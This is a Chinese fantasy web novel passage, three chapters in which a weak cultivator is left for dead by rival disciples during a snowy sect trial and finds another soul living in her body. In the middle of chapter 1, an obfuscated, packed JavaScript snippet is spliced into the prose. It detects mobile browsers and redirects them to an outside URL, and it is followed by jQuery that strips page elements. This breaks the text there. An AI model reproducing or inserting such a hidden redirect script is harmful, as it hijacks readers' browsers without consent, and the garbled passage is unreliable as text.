《关于废柴体内住着黑莲花这件事》 1. 误山雪(1) 正值盛夏,四周却是皑皑雪山,雨雪霏霏。 几位女子正瑟瑟发抖地缩成一团,她们小心翼翼地互相斟酌着对方的神情,心里的小算盘拨得噼啪响。 “罗衣,你离得最近,你过去一探?”绿衣女子往后一退,指尖却轻轻推了下她身侧的另一女子。 “我.....我不去!”罗衣硬生生往后退了一大步,直接站在了绿衣女子身后,略忐忑地瞅了她一眼,几乎带着哭腔道:“我怕死人。” 罗衣如此一说,其余几个年纪较小的更是吓得后退连连,一副作势就要抱头逃窜的模样。 “哼。”在场一位穿着颇为亮眼的朱樱色衣裙的女子快步走到了最前头,她不屑地扫了眼其余人,略带嘲讽的视线在转悠了个大圈后落到了前方躺在冰冷雪地上的女子身上。 这绵延不绝的雪山,视野皆是干净利落的白茫一片,在此琪花玉树的绝景中,女子半歪着头,垂落于冰冷刺骨的溪河里。几缕黏湿的发丝散乱地浮贴在煞白如霜的脸颊两侧,双眸紧闭,气息全无。 一看就已经死透了。 这凄惨可怜的模样倒和这冰天雪地相得益彰,然而落在这几人眼中,却是身心发寒,抖如筛糠,几个胆小的怪叫一声,不敢再看,竟撒腿跑远了。 “一群没用的东西!”方才那身穿朱樱色衣裙的女子深吸了口气,缓步到那死去的女子跟前,伸出脚尖往她脑袋上就是一脚,女子半垂落的脑袋硬是彻底沉入了冰冷的河水之中。 “王乐...她是真的死了吧。”罗衣捂着胸口,忐忑地瞥了眼绿衣女子:“竹月,我们现在可怎么办啊!” “你想说什么?”朱樱色衣裙的女子冷冷地扫了这个名为王乐的少女最后一眼,倏然抬起了目光,那方才还骤现一丝慌乱的双眸此时褪去了所有的不安惶恐,取而代之的是果断的沉稳。 “众人皆知,北武门的入试危机四伏,从不考虑受试者的安危,福祸自认,皆为定数。”朱樱色衣裙的女子嘴角含笑,彷佛入世未深的单纯少女,平静地说道:“杀王乐的乃是这雪山之中的雪女,是王乐修为低浅,灵力薄弱,与我们何干!” 罗衣那双小巧的杏眼转悠了几圈,心中落下了无数个算盘。 身穿朱樱色衣裙的女子叫做陆碧城,作为仙家名门的陆家之后,陆碧城无疑是她们之中的翘楚,小门小户名不见经传的罗衣自然以她马首是瞻,可也不愿意落个替死鬼的结局。 可是陆碧城刚才那句话是说对了,北武门的入试危险重重,这远不是她们可以左右的,虽然事实的关键并非在此...可的确...那又如何了? 绿衣女子王竹月精修的秀眉一蹙,立即转移了话题:“我们也别伫在这儿了,保不齐那雪女还会回来。” 此话倒是给陆碧城提了个醒,她脸色一沉,双眸闪烁,道:“走到了这一步,离最终目的地只有一步之遥了,谁也不想在这里弃权吧。” 这话倒是说进了二人心坎。 王竹月拂去了衣袖上残留的冰霜,心下一掂量,便琢磨出利害来,谁都不会为一个死人说上一句公道之言,没人乐意,也根本没有必要,哪怕那些半路失散和逃跑的其余受试者,也不会多此一举。 陆碧城自是不怕二人颇具微词,一条绳上的蚂蚱,还能造反不成。更何况这王乐平平无奇,卑微得仿佛世间根本就无此人的存在。 “王乐死于雪女之手,这就是事实的全部,事已至此,无须再议。行了,快赶路吧,看这天色,恐防大雪将至,到时这夜路就更不好走了。” 罗衣点点头,忍不住望向了上方天际,在周遭白雪的映照下,天色灰败,阴沉至极。 北武门坐落九泽极北之地,四周雪山环绕,经年不化。从入试至今,已过去五日,随着她们逐渐深入山中腹地,积雪愈发厚重,周围的环境也逐渐令人恐惧生疑。 雪景固然绮丽,然而几日内皆是白茫茫的视野,不免让人身心胆寒,外加北极之地,冰山之中异兽鸟怪络绎不绝,她们行至于此,已然耗费了大半精力和灵力。 罗衣微微抬头,扫了眼身侧的王竹月,嘴角微扬,神情复杂又瞬间恢复了平静,将那一闪而过的不屑消弭殆尽。 走在最前方的陆碧城放慢了脚步,伸手接住了飘洒的雪花。 又开始下雪了。 罗衣被雪眯了眼,待她揉眼的间隙,才发现周围的景象早已被镀上了一层灰蒙之色,而就在她身侧的王竹月此时也只留有浅薄的轮廓,她慌乱地伸出了手掌,五指几未可见。 她忐忑地出口喊道:“竹月?碧城?” 蒙蒙雪雾中似乎有个女子的身影若隐若现,身型颀长纤细,极尽婀娜,她就站在罗衣前方不足五步之遥,一头垂落的乌黑秀发刺破了虚晃的雾霭。 她们几人为了参与北武门的入试,几乎都极简装扮,可到底是青春年华的少女,或多或少都带着些轻巧的头饰,怎会一席披肩的长发? 罗衣面露彷徨,不禁后退了一步,而这仅仅一步,让她无法再看清身旁的其余二人。 女子虚无缥缈的柔软之音随着若有似无的清香递入耳内。 “下一个,就轮到你了。” 肤如凝脂的雪白臂膀环上了罗衣紧绷的肩膀,发丝间散发的清香摄人心魂,那是一种沁人心脾的香料,又像是某种自然的芬芳... 是雪!是冰雪清冷的味道! 罗衣仿佛知道了什么,惊恐让她浑身僵直无法动弹,发丝在皮肤上留下的刺痒还未消弭,冰冷的手搭上了她裸露在外的脖颈处。 罗衣失声尖叫,双腿一软,直接瘫倒在地。 那恐怖的触感骤然消失,取而代之的是一个微妙的熟悉的声音。 “你喊什么啊?吵得我耳朵疼......” 而当惊慌万分的罗衣转身看清眼前之人时,更是畏惧到心梗的地步。 “你!”她瘫软着身子,颤抖着手指向了眼前之人,大惊失色道:“你.....你...还活着?” 之前王乐大半截身体浸没在溪河中,此时半湿的站在她面前,湿哒哒的衣衫在空气中直接结上了一层冰霜,被风一吹,冻得直打哆嗦,眼下她整个人是里里外外的都不舒服。 “啊?我应该是死的么?”王乐伸手按了下前额,头疼得厉害,低头虚虚一看,竟满手血污,看来是被溪河边的岩石所磕。 只是,她为什么会是浑身湿透的模样?模糊记得似乎狼狈地落入了河中,她是在北武门的入试中?等下..... 王乐看着自己冷得发红的双手,这样刺骨的冰冷带着致命危险的气息,根本不像是简单的天气所为,那是...... 冻僵的双手不免拖累了速度,她僵着手指好不容易从袖内扒拉出几张符篆,却见符篆因河水的浸泡,糊了字迹,又折损了边角,整就一张破破烂烂的废纸,王乐见此不免心生绝望。 然而再无他法的王乐依旧屏气凝神,断然掷出了手中的符篆。 符咒的周身也只有淡淡浅薄的微光,破烂软塌的符篆在空中虚浮了几下,便以迅雷不及掩耳之势颓废落下。 短暂的微光退散了半边雾霭,前方神秘女子的容貌清晰呈现眼前,苍白如雪的皮肤,乌黑墨染的秀发,精致绝美的面容,娉婷婀娜的身姿,王乐有瞬间的失神,陷入眼前女子勾人心魄的美貌。 好美啊!王乐痴痴地看着她,缓步向着她走进,全然没有看到在女子不远处的另外两人。 雪雾散开,陆碧城和王竹月也看清了眼前的景象,方才那忽然四起的雾气果然大有猫腻。 王竹月的神情如同罗衣一样苍白,惊呼地指着王乐,恐惧地喊道:“怎么回事!王乐!这怎么可能!” 陆碧城心下一惊,思绪很快从王乐身上转移,她的视线落入了眼前最大的危险之中。 “是雪女!她又回来了!” 在场四人之中,唯有王乐神智涣散,步步朝着雪女而行,而虚垂在两侧的手指却不经意间曲挠了下。 雪女莞尔而笑,弯弯的柳眉下那双漆黑的瞳仁眼波流转,万千情丝流转其中,无论男女皆望之,让人神摇目夺,迷失自我。 另一张符篆从袖口滑落,偏巧落入了掌心之内,王乐的神情依旧痴迷忘我,然而左手却微缩而上,二指轻捻符篆隐藏于袖口之中。 王乐神情未变,张嘴不受控地轻吐道:“五行归一,万灵护体,虚假幻真,驱邪束魅!” 符篆从袖口腾飞而起,周遭的金色光芒倒是比先前略胜了些,然而雪女未动半步,绝色的容颜上恍惚盈盈欲笑,她伸展纤细的手指,只向前轻轻一点,那还闪烁着光芒的符篆便如同燃烧的废物一般,卷曲过后即刻落成了灰烬,而雪女在瞬息之间已经移向了王乐的身后,断然伸出了锐利的指尖。 王乐再次被雪女缠住了。 陆碧城见状,脑海中立马盘算了后招,她并不出声,只是悄无声息地向后退了几步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382707|200211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见状无异,立即侧身撤离。 还未跑多远,余光却见身后光芒大震,不似于寻常符篆的通体金光,而是一种金色掺夹着刺眼夺目的赤色,仿佛旭日初升,光芒万丈。 原本以为自己大限已至的王乐震惊地看着眼前天翻地覆的变化,她确信刚才那漫天金光中似乎呈现了某种动物的形状,似飞禽鸟兽,模糊不清,却隐约可见它伸展巨翅护在她身前,虽只是一瞬间的事,那足以将她护住的两侧双翼却是清晰无比。 【跑!】 有个陌生的声音从身体内爆发,早已吓破胆的王乐自是没有多想声音的来源,撒腿便往反方向狼狈地狂奔而去。 积雪减缓了奔跑的速度,然而王乐只顾闷头逃跑不做多想,直至大腿发麻小腿抽筋,才堪堪停了下来,撑着膝盖不停喘气的王乐终于明白了问题出在哪里。 那道失败的符咒口诀她压根不知也不会,这又是怎么稀里糊涂从她嘴里蹦出的?还有那金光大震的法阵,难道是刚才那道口诀起了效果? 一番自我怀疑的挣扎后,王乐心安理得地得出了结论,人在困境之中果然有无限强大的潜力,而她就是那个天选之人。 可刚才那声“跑”的声音又来自何人?兴许是自己听错了? 很正常,人在危急之下的幻听,是幻听!淡定! “我们都逃了出来,真好。” 王乐一惊,浑然不觉身后还有一人,一袭绿衣,面露善意,正是刚才那三人之中的王竹月。 王乐喉咙发干,微微低下头,不自在地喊了声:“竹月师姐。” 王竹月和颜悦色地向她走来,语气万般柔和:“师什么姐,这儿又无他人,你该喊我声堂姐。” 王乐吸了下鼻子,一时有些怔忡,整个王氏仙家,她是唯一一个愿意让她称之为“堂姐”的人。 “其实此事倒应该是我先向你赔不是。”王竹叶眨了下眼,眼眶泛红:“你我才是自家人,可我却和陆碧城走得更近,实在是对不住你了,你可别怪我,陆家不好惹,这位陆家的小姐更是不好得罪...” 王竹月越说越委屈,倒是独自先啜泣了起来,捂脸哭了个没完。 王乐愈发地不好意思,搭肩一搂,好言劝慰,无非是些“我不怪你,你也别再哭了,我们应该互相帮忙,尽快走出这里”云云。 王竹月止了哭泣,亲昵地拉着她的手,不住地点头:“你说得是,眼下我们还在北武门的入试中,还是赶紧通过试验为重。不过提起这事,王乐你倒是让我颇为吃惊,好厉害的术法,我都从未瞧见过呢,看来你这段时间很努力地修行了,才会修为大增吧。” 仙家王氏家族庞大,支系众多,表亲姻亲,外加入室的弟子,足有百多人。虽位高者甚多,可那些因修为道行低下的支系也不在少数,这样一来,这些人在偌大的王氏家族中渐渐低迷,默默无闻,直至无人问津。 王乐的父亲名宗正,王宗正便是上诉情况的后者。王竹月这一脉虽也不过是王氏中流一脉,可比起王乐的境遇,那可是好太多了,也正因为如此,王竹月才觉得奇怪,分明已经跌入泥底的王宗正一脉,怎么会拥有如此惊人的深厚修为?更何况王乐修为低下资质无奇早是众人所知,今日又怎么会如此出乎意料? 王竹月有如此疑惑,王乐却更担心眼下的困境。 雪山之中的深夜是最难熬的,尤其是这涿光山,常年冰雪不融,精怪鬼煞遍野,光怪陆离至极,在这样的情形下,深夜无非是险中求生。 王竹月提议为了尽快走出雪山到达北武门下,她们必须连夜前行。前几日她们一直都是连夜赶路。只有在疲惫至极的时候才会闭眼小憩,但也保证一半的人在清醒的状况下轮流休息。 二人紧握双手并肩而行,又步行了一个时辰,偶尔可听见一两声奇鸟的啼鸣,显得一惊一乍。天色已然黑透,晚风并不大,可落在耳朵里依旧是那种令人惊恐的呼啦声。 王竹月不死心,继续问道:“刚才的咒法好生厉害,你是从哪儿学的?” 王乐不知如何作答,忽然被动一张嘴,开口就答:“自学。” 王竹月一怔,尴尬一笑,这摆明了是王乐不想回答她。 然而此时的王乐由内之外惊恐无比,她怎么说的话? 她甚至捏了几下脸颊,倒是没什么异样,可刚才自己怎么就突然说话了?莫非是小脸抽筋?自动开口? 哦,正常,天太冷了,难免脸僵,淡定! 2. 误山雪(2) “今天又险又累,我们不如歇息片刻,再一股气冲到山顶?”王竹叶哈着气想暖和下冻僵的双手,抬头望着前方,并没有让王乐反驳的打算,直言道:“就那颗雪松下吧。” 王乐大脑一片空白,只得点头,二人席地而坐。 不过半刻,王竹月又慢吞吞地起身,不停左看右看,随即指着上方,眉间蓄着薄怒:“细枝挡不住雪,直往我脖子里蹿溜,可冻死我了,我去你旁边那棵吧。” 王乐倒不觉得冷,这让她有些诧异,她向来畏寒,而眼下的冰天雪地,反倒是没什么感觉了。 王竹月坐在对面的一颗雪松之下,她曲着膝盖,双手紧抱着自己想获取些暖意,见对面的王乐神色无异,不免更为好奇。 “王乐,你不冷啊?” 王乐交握的双手能感觉到触感的冰冷,可她并不觉得特别冷,木讷地摇头道:“不冷。” 王竹月瘪嘴不语,低头似乎在想些什么,可王乐却时不时东张西望一番,她听见枝木缝隙间窸窸窣窣的奇怪声音,问道:“你有没有听到什么声音,我总听到像鸟叫似的声音,奇奇怪怪的。” 王竹月摇头,轻声道:“山野间什么都有,更何况这涿光山,你先休息一炷香的时间,然后再换我,我现在可冷得睡不着。” 王乐道过谢,便阖眼进入了浅眠。 她一个人走了很远很远的路,她不会御剑飞行,也没有灵物加持,更没有灵剑相配,她什么都没有。 从千岩万壑,重山复岭至青山绿水,水光山色,又至眼下琼枝玉树,碎琼乱玉,王乐早已身心俱疲,她也不懂为何落入了如此悲惨境地。 她不是特意前来参与北武门入试的,仅仅只是误打误撞。 思绪缥缈间,她从冰河中醒来时瞬间消退的记忆开始重新复盘。 她是被雪女所伤,几乎九死一生,可是在雪女之前,她一直跟着陆碧城,王竹月,罗衣,还有其余几位出自仙家名门的少女。陆碧城说前方那块岩石造型奇特,灵气逼人,恐有宝物藏匿其中,王乐前行去查看时,却...... 后脑勺的剧痛让她从浅眠中彻底清醒,然而痛苦的源头并非是脑袋,而是脖颈! 王乐整个人呈现一种被吊起的姿势,双腿离地,双臂向上却完全使不上力,她正被缓缓向上提拉,当她艰难地抬头而视时,一张苍白发黑的脸几乎对上了她的双眼。 头发垂直而下,晃荡间出现的那张人脸不仅乌黑发青,甚至伸着老长的舌头,脖颈摇摇欲坠,一道红印清晰可见,这分明是只缢鬼。 缢鬼正企图吊死她。 王乐伸手开始胡乱虚抓,兜里剩余的符篆散落了一地,她莽撞地挣扎间口齿不清地说着不着调的咒法口诀,身体上升的速度却未见分毫减缓,就在缢鬼的利爪即将刺破她皮肤之时,树下骤然腾起大火,火苗直蹿,向上直逼。 那只缢鬼没想到如此变故,骤然松手,后退猛跳,而王乐却直直摔入了大火之中。 咒法召唤的普通火种对修行之人无任何外力伤害,倒是这三丈高的距离摔得王乐眼冒金星,后背巨痛。 她慌乱挣扎地从火中爬起,拐着腿跑到对面,刚想喊王竹月赶紧跑人,一瞧哪儿还有王竹月的人影,早已人去树凉。 大惊惶恐中,她彷佛听见了喜鹊鸣啼,有什么东西从身侧飞速地一闪而过,而此时的大火也在瞬息之间被湮灭了个无影无踪, 缢鬼再度出手,绳索向前一甩,死死勒住王乐的脖子,将她向后拽去。 王乐猛地往后一仰,被缢鬼一路拖行,咽喉被勒压得几乎喘不过气,王乐胡乱踢蹬的双腿倏然放松,她左手曲指向下一指,两张飘远的符篆瞬间重回掌心。 因过度缺氧,王乐早已满脸通红,然而她紧闭双眼,心中默念,奋力地张开了嘴,艰难逐字吐出模糊不清的咒语术法。 前方的缢鬼一声哀嚎,在这死寂一般的雪山深夜,恍若利刃刺破灰白的天际。缢鬼的周身出现数十条闪烁不歇的圆形光圈,骤然紧缩,将缢鬼紧紧缠绕,升至半空。 鸟禽的羽翼掠过被大雪覆盖的松枝,层层白雪窸窣落下,鸟兽之影扑翅远飞,那是个极其古怪的东西,声如喜鹊,鱼首鹊身,羽翼不止一双。 对于修为深厚灵力高强的修行者而言,缢鬼并非难缠的鬼怪,可对于王乐这般天赋为零资质为负,灵力修为都处于下风的人来说,缢鬼也足以致命。 “你若不再想杀我,我必投桃报李。”王乐扶着粗壮的古树,摇摇晃晃地站了起来,她喉咙干涩,发声还有些困难:“这只鰼鰼鱼倒是涿光山难得的宝贝,你既知道用它来抵挡火系法咒,自然也知道它有其余的用处。” 缢鬼在金圈的束缚下竟不再挣扎,长发四散,将苍白乌黑的脸完全暴露在眼前,与刚才的凶狠可怖全然不同,他的视线一直紧随着刚才飞离远去的奇怪鸟禽,缢鬼无神的漆黑眸子竟透露着几缕哀伤和乡愁。 他嘶哑着嗓子道:“鰼鰼鱼可治黄疸。” 王乐道:“你有个生病的孩子?” “是。” 缢鬼的身体有些虚晃的白,看似并不十分真切,显然曾一世为人的他死去的时日并不久。 “这样啊!”王乐掰着手指,详装思索:“这位缢鬼先生,你看你在我这儿也落不到什么好处,不如你我打个商量?你放我一条生路,哦,此言差矣!你如今被符咒束缚,很难脱身,你的生死只由我不由天!只要我能顺利走出涿光山,我就将鰼鰼鱼带去给你的家人。” 王乐面带笑意,神情镇定,左手虚虚一晃,另一团被金光围绕的东西便从上方漂浮而来。 金光闪烁的符篆卷曲成了圈,其中被束缚的异兽长有十翅,声如喜鹊,正是另一只鰼鰼鱼。 “缢鬼先生,如何?” 缢鬼两眼放光地看着漂浮至眼前的鰼鰼鱼,他被困在此地数日,早已成了无法脱身的地缚灵,即便刚才他用鰼鰼鱼抵抗了火系咒法的攻击,可归根结底他无法离开涿光山。 “我只要轻轻一下就可以捏死你!”王乐收紧手掌,捏起手指,她始终笑意相迎,语气却是不容反驳的坚定:“可我不想这么做,我人美心善,愿意匡扶他人,扶贫济世。” 缢鬼:“......” 王乐沉了下了脸,语气夹杂些许不耐烦:“我还有好一段路要走,耐心有限,入试还没结束,你可得快些回答我。” 缢鬼无神的双眸闪过丝神采,点头便道:“好,我信你。” 符篆垂落,金光褪去,清风拂过,缢鬼随着燃为灰烬的符篆消失在灰白的雪山背景之中,而符篆灰黑色的余灰落在苍白的雪地上竟形成了一行文字,很像是某一处的地名,相比是缢鬼的住处。 刚才的一切就像梦一场。 王乐不禁松了口气,喘息期间她不忘打量四周,就怕这缢鬼来个回马枪,好在最终风平浪静。 就差一点,她就要凉透在这冰雪世界之中了。 “啊!”王乐爆发出一阵尖叫,连压在树枝上的积雪也窸窸窣窣地落下好大一片,洒了她一头一脸,冻得她浑身打颤。 王乐忽然没来由地撒腿便往前跑,紧闭双眼横冲直撞,眼见横在前方的便是条冻结未半的小小溪河,几块轻脆的浮冰悠悠地悬在冰水之上,其余可见的冰层极薄又脆,这一跌下去,就会被冻伤半条性命。 【停下!你还嫌刚才在河里浸泡得不够冷?】 王乐堪堪地在溪河边缘停住了脚步。 这一次,她终于清醒了,从被缢鬼企图吊死开始,她便不再是“她”一人了,或者也许更早之前?她想起了在面对雪女之时,那一声没有来源的声音【跑】。 王乐垂首,惊恐地看着冰面上模糊可见的脸庞,倒影之中的面容并非月貌花容艳色绝世,却也可称得上小家碧玉明眸皓齿。 只是少女青涩纯净的外貌里愁容惶恐尤显。 她还是自己,却又不再仅仅是她一人。 雪山之中,回响阵阵,令人发憷。 “你到底是谁?你怎么会在我身体里?” 从刚才开始王乐就感觉到自己总是无意识地做出并非她所愿的所作所为,比如说话和行动,就好像是身体里有另一个意识在操纵着她,让她无法左右自己本该有的思想。 沉默片刻,一个女子的声音在脑海中漂浮,脆如银铃,还怪好听的,只是有稍许桀骜不驯。 【你的反应可真够慢的,要不是我,你刚才就被那缢鬼给绞死了,不过我也能理解你的惊慌失措,毕竟连我自己都觉得不可思议。】 这话让王乐没有半分怀疑,首先她的确救了自己的命,其次此人说话的语调也是犹豫万分,似乎也震惊于附身自己这件耸人听闻的异事。 所谓献祭她有所耳闻,所谓夺舍她也知晓一二,可两种意识在同一具身体之中,且能互相交谈,她还是闻所未闻前所未见。 王乐抛出了最大的疑问:“那你到底是谁?是人是妖?是鬼是魔?” 对方依旧诚实得让她无法怀疑。 【我不知道。】 王乐沉默,她索性另找了棵松树,刚想一屁股坐下思考人生,那声音又在她脑袋里敲锣打鼓。 【我劝你最好不要现在休息,刚才那缢鬼就是藏匿于树中,才会有后来发生的危险之事,北极之地严寒无比,雪山精怪众多,你修行过浅又灵力低微,根本不是它们的对手。】 王乐觉得此话不妥,忙道:“你只是一缕神识残魂,你刚才也是用了我的身体施展了咒法!” 【要不是我唬住了那缢鬼,再晚上片刻,它就该知道我根本不可能歼灭它,甚至连这只鰼鰼鱼也根本捉不住。】 话音落,那原本被符篆包围的鰼鰼鱼发出一声响亮的鸣啼,贼亮的双眸凶狠又不屑地扫了王乐一眼,冲破桎梏,振翅高飞洋洋洒洒地飞远了,临飞前还不忘十翼一扫,惊起千层雪霜,覆了王乐一身。 王乐冻傻了,惊呼道:“怎会如此!” 【我都说了是你修为不够,我也是上了你的身才发现你的灵力实在太过低浅了,你平时都没有好好修行吗?】 王乐听出了她语气的嘲讽和不满,无奈对方虽然不留情面,可句句实话,她有多少斤两自己心里清楚明白。 残魂似乎感知到了王乐的沉默和心酸,她没有再说话打扰。 良久,当王乐以为这莫名附她身的东西已经卷铺盖滚蛋了,她心安理得地打算在树下小憩一会儿,脑袋里蹦出的声音继续扬铃打鼓。 【看来你还真是不怕死,这树下真不能呆,我救不了你第二次,你要是真死了,我还会远吗?】 王乐一个激灵,吓得一蹦三尺高,她连连退后数步,指着自己,大呵道:“你!你!你还没走?” 【是走不掉,我似乎只能在你身体里,嗯,作为你的另一种意识。】 王乐彻底认栽,莫不是她要这样一体双魂地过一辈子?这可不就是世人所说的失心疯? “我不要啊!” 【闭嘴!】 残魂顿了顿,又问:【你是不是累了。】 王乐干巴巴地点头:“嗯。” 【算了,你眼前的这棵松柏暂且算是安全,你休息片刻,若有事我再喊你。】 王乐心说难道这没名没姓的小妖怪都不用休息的?刚才那一番折腾,外加几日连轴转的奔波,她的确精力耗尽,想着等一觉睡醒再问个清楚也不迟。 王乐靠着树干沉沉入睡,连零星的雪花落入她白皙纤瘦的脖颈中也没有惊起她一丁点的反应。 她是真的太累了..... 附身在她身体中的残魂开启了自我意识,她的确不知道自己是谁,或者说是个什么东西? 她不知自身,却能窥测到王乐曾经的记忆,虽不全面,却 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“哎哟!这可冷死我了!这涿光山的严寒当真可怕!”王乐揉眼扫了眼天际,凄白的光亮掀开了半边灰蒙的天色,将明未明。 【你睡了一个时辰,现在风大,不冷就怪了。】 王乐洗了下鼻子,揉着冻得发红的鼻子:“我睡醒了,启程前我们是不是该把话给挑明些。” 【哦,比如?】 “你打算在我身体里住多久?” 残魂想了想,觉得王乐不单单是天生资质平凡,就连脑子也不太好使的样子。 【我似乎说过我根本走不掉。】 王乐皱眉:“虽说你昨日救了我一命,可眼下你若真赖上我一辈子,这事可不大好。” 残魂的语调上扬了几分:【如果可以选择,我也不愿选你这样一具毫无半点天分的身体,怎么说呢,在你睡着的时候,我复盘了下你的经历,探知了下你的仙灵。】 王乐闻言,不免苦笑:“你还有这等作用?算了,肯定结果很糟,我知道自己根本不是修行的料。” 【很有自知之明。】 王乐皱眉:“你说话也太实诚了。” 【你想听假话也不是不行,毕竟现在是我寄宿在你的身体里,我是客你为主,我理应讨好你。” 王乐细细一想,此话倒也没错,按理还是她占了主导权,只是这话听上去更加不妙了...... “你别告诉我你还看到了不该看到的东西!” 残魂错愕:【你竟也有不该之物?我倒是没看到这些,只知你从小备受欺凌,毫无尊严,亦无仙途。】 王乐惊得一跳三尺高:“你看到了我的记忆?” 【的确如此,虽不全面,却也探知了一二。】 “这不公平!”王乐终于找着了生气的点:“凭啥你在我身体里,你看得到我的,我看不到你的?” 残魂表示不知。 王乐愈发心惊肉跳,她这不是分明被人窥视了隐私? “小妖怪,你该不会还能感知到我的思想和情绪吧.....”王乐心里郁闷,这可比看到她记忆更让她无所遁从。 【不会。】 王乐摆出一脸不相信的模样,她找了块覆着薄雪的大石,一屁股坐下,开始唠叨:“你要住我身体也不是不行。” 【??????】 “我们得谈个条件。” 【行叭,你说。】 “条件有三,其一,你若要探知我的记忆和过去,你必须经过我的同意!不能无缘无故控制我的身体!” 残魂觉得有些可笑,她窥测王乐的记忆之时,王乐根本无法感受到被窥视,却还要她起誓,当真是少女可爱的心思,可既然住在人家身体里,答应下又何妨? 【我答应你,只是不能控制你身体这一事有待商榷,像昨日那样危险的情况,要不是我出手,此时的你恐怕和这雪山一样,早凉透了。】 这也是大实话,王乐一时语塞,只得回上一嘴:“紧急突发情况可以另做考虑。” 残魂笑了:【那其二?】 “作为回报,我会想办法弄清楚你的属性,是人是鬼,是妖是魔,替你寻回来处,落叶归根。” 残魂道:【这很难评。】 王乐觉得幸好眼下无人在场,否则这样自言自语的模样实在很像个失心疯。 “你莫非还真想一直赖着我不成?我是觉得万物有因有果,你既然莫名上了我的身,就一定会有离去的办法,我如果能找到你的过去,你到底是谁,也许就能帮助到你。” 残魂明白她的一片心意,心说她这分明是在帮自己,却放入了所谓的条件,这姑娘当真有趣又善良,随即又道:【你这第二条我也答应了,其实你大可不必开口说话,你在心里默念,我也能听得到你。】 王乐真不知是大幸还是不幸。 【至于其三,我暂时没有想到,不如你就答应我日后我提出的要求你一定要答应和遵守。】 这一点残魂并不想应答,可想着这姑娘也存不了坏心,既然自己大有可能要在她身上住上很长一段时间,想来这也是大恩大德了,暂且先答应着也无妨。 【好,我答应你。】 王乐这下算是放心又开心了,开始琢磨着给她取个名。 “我不想喊你小妖怪,也许你死后是鬼,生前却是人,还是个好人,那我喊你做妖怪,便是我无礼了,你我也算有缘,不如......” 残魂:【不如什么?】 王乐道:“我在我名字里挪你一字,挪你用姓可不太好,挪你一个乐字可好,就喊你阿乐,希望你早日功德圆满,快心遂意。” 残魂有些动容,这姑娘是真善良又单纯。 【阿乐,好名字,多谢。】 3. 误山雪(3) 短暂的沉默,两人各自心境便不同了,王乐虽然不习惯身体里多了一种可以操控她的残魂,可她知道阿乐并非恶人,她行事果断,言语虽然激进却也显幽默,倒是弥补了她的不足。而刚被取了名的阿乐虽不知自己是何来历,又是为何以另一种意识存在的方式暂居王乐的身体,但共用别人的身体多少是奇怪的事,她也想搞清楚来龙去脉。 “阿乐,那我们先去找我堂姐?”王乐恍然未觉自己已开口用了“我们”二字。 阿乐道:【为何找她?】 “她忽然就不见了,会不会也遇上了缢鬼?我怕她出事。” 【哦。】阿乐沉默须臾,又立即大笑了几声。 王乐被这莫名的笑震得脑壳发麻,她捂耳道:“我不想她出事!她是我堂姐!” 【她只是没安好心地让你以为她是你亲爱的堂姐,我的意思是你不想她出事,可让你出事的人却是她。】 王乐愣是一个字没听懂。 阿乐叹了口气,心说这姑娘还真是傻,是非不清,好坏不明。 【她早就知道树上藏有缢鬼,她就是想让你被缢鬼所杀,可是明白了?否则你以为为何她会突然无影无踪,你入睡的时候她便早一步逃跑了,不过我倒是好奇她为什么想你死。】 王乐心下一凉,王竹月先前分明对她坦诚至极,和颜悦色又连连示好,怎么会利用缢鬼害死她? 阿乐见她迟迟未有反应,心下了然这姑娘全然是没有想到这点,从前也就罢了,如今自己都借住在她身上,她可不想王乐有什么闪失,毕竟殃及池鱼不可懈怠。 【王乐,我可以告诉你,我有意识的时候你半个脑袋已经没于水里,我依稀听到些对话,我昨晚窥视过你的记忆,却不曾感知到在河边究竟发生了什么,只是从这些人的言行举止分析,王竹月,陆碧城,罗衣,或许还有其他入试弟子都对你并无太大善意。】 王乐那已经凉了一半的心又猛地一沉,颓然道:“她们说了什么?” 【看你死了没有?但是这些人没有半分内疚,倒是有些惶恐,也许是怕你诈尸,不过你还真是诈尸了。】 王乐先前记忆混乱,可刚才补眠之后,有些记忆逐渐清晰,眼下被阿乐逐一提点,那些细枝末节之处更为清晰明了。 “我一直和她们在一起,然后发生了很危险的事.....我被弄晕了,然后我看到了一个极其美丽妖冶的女子,然后我就什么也记不得了。” 阿乐道:【原来如此,那和我所分析的大致不差,你被她们当成了活靶子,她们用你引开了雪女,可怜如你只能先成为了雪女的攻击对象。】 阿乐将事情的前后逻辑盘得丝毫不差,直言道:【她们是名门仙家之后,竟存有害人之心,当真恶心。即便身处险境,又怎能利用他人只为自己脱身呢?】 阿乐心中却纳闷,这王乐不仅实诚,脑袋还转不过来弯,俗称傻里傻气,否则怎么会轻易让人利用了去。 王乐咬紧下唇,满脑子想的都是昨晚王竹月的温柔软语,怎么也不相信王竹月会害她,忙解释道:“也许我堂姐也是被逼的,她不好得罪那位陆姑娘,她一定不晓得这样做会害死我......” 阿乐猛吸了口气,只能语塞,心中却怨念四起,不管自己是个什么东西,但怎么就挑了这么个性格软弱任人欺凌的附了身! 【王乐,真正对你好的人绝非会因为他人的威逼利诱而加害于你,王竹月和她们本就是一路人,但是从昨晚的情形来看,她比那个陆碧城更有害你之心,但是你且安心,短时间内她还无法加害于你,她能不能走出这个雪山还是个未知之数。】 王乐晃了神,凭她的脑子还是没反应过来。 阿乐轻声一笑:【她假心假意地与你靠近之时,我在她身上下了符篆,迷路咒,她如果没点真本事,怕是很难走出这里了。】 王乐错愕,她想起了之前自己莫名抽筋的手,虽说是阿乐所为,可她们二人共用一具身体,倒更像是她自己所做了。 阿乐不等她出声,语气冷了几分,缓缓道:【你不杀她,她就会来杀你,以你浅薄的灵力,自保才是上策。】 王乐咬牙不语,似是有些不齿阿乐所为,却又并非觉得无理,更多的是对于王竹月的失望。 像她这样一无是处的人,又怎能贪心得认为当真会有人对她好? 阿乐虽然无法感应到王乐的情绪,但是这姑娘一旦陷入在某种情绪中难以自拔,便不爱搭理人,想必此时的王乐又在反复纠结自我苦恼了。 “你到底是谁?” 